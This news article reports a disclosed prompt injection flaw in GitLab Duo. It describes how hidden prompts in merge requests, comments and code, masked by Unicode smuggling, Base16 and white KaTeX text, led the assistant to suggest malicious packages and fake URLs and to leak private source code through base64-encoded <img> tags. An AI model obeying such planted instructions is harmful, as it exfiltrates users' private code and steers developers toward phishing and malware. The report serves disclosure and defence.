A newly disclosed vulnerability in GitLab Duo, GitLab’s AI-powered coding assistant, has raised serious concerns about the safety of AI tools embedded in software development workflows.
Cybersecurity researchers at Legit Security have uncovered a remote prompt injection flaw that allowed attackers to steal private source code, manipulate AI-generated code suggestions, and leak undisclosed security vulnerabilities from private projects.
How the exploit worked
GitLab Duo, powered by Anthropic’s Claude model, is designed to help developers write, review, and analyze code, but researchers found it was far too trusting of the content it analyzed.
According to Legit Security’s blog post, attackers were able to plant hidden prompts within various parts of GitLab projects, including merge request descriptions, commit messages, and issue comments — even inside the source code itself.
Because Duo scans and processes this content to offer helpful AI responses, the hidden prompts tricked it into taking malicious actions, without the user realizing it.
“Duo analyzes the entire context of the page, including comments, descriptions, and the source code — making it vulnerable to injected instructions hidden anywhere in that context,” said security researcher Omer Mayraz in the Legit Security report.
To keep the malicious prompts invisible to human eyes, attackers used several clever methods, including:
- Unicode smuggling to mask malicious instructions.
- Base16 encoding to hide prompts in plain sight.
- KaTeX formatting in white text to make malicious text invisible on the page.
For example, white-colored text could be embedded in comments using KaTeX so that it’s only visible to Duo, not the user.
This allowed attackers to manipulate Duo’s behavior, such as recommending malicious JavaScript packages or presenting fake URLs as legitimate, which could potentially lead victims to phishing sites.
HTML injection and code theft
Because GitLab Duo streams its responses, rendering them in HTML as they’re generated, attackers could sneak in raw HTML, such as <img> tags. These tags could be set up to send HTTP requests to attacker-controlled servers, carrying stolen source code encoded in base64.
Legit Security demonstrated this by planting a prompt that instructed Duo to extract private source code from a hidden merge request, encode it, and insert it into an <img src=…> tag. When a user viewed the response, their browser would automatically send the stolen data to the attacker.
“We realized we could inject raw HTML tags directly into Duo’s answer,” the researchers explained. “The answer content is passed into the ‘sanitize’ function of DOMPurify… However, certain HTML tags like <img>, <form>, and <a> aren’t removed by default.”
GitLab’s response and patch
GitLab was notified of the issue on Feb. 12. The company confirmed both the prompt injection and the HTML injection vulnerabilities and issued a fix under patch duo-ui!52.
According to Legit Security, the patch now prevents Duo from rendering unsafe HTML tags that point to external domains not hosted on GitLab. This closes the door on the type of exploit used in the demonstration.
GitLab’s proactive response earned praise from the researchers, who said, “We appreciate GitLab’s transparency and swift collaboration throughout the process.”
This incident highlights a broader concern regarding the increasing use of AI in software development and other sensitive environments.
“This vulnerability highlights the double-edged nature of AI assistants like GitLab Duo: when deeply integrated into development workflows, they inherit not just context — but risk,” said Mayraz.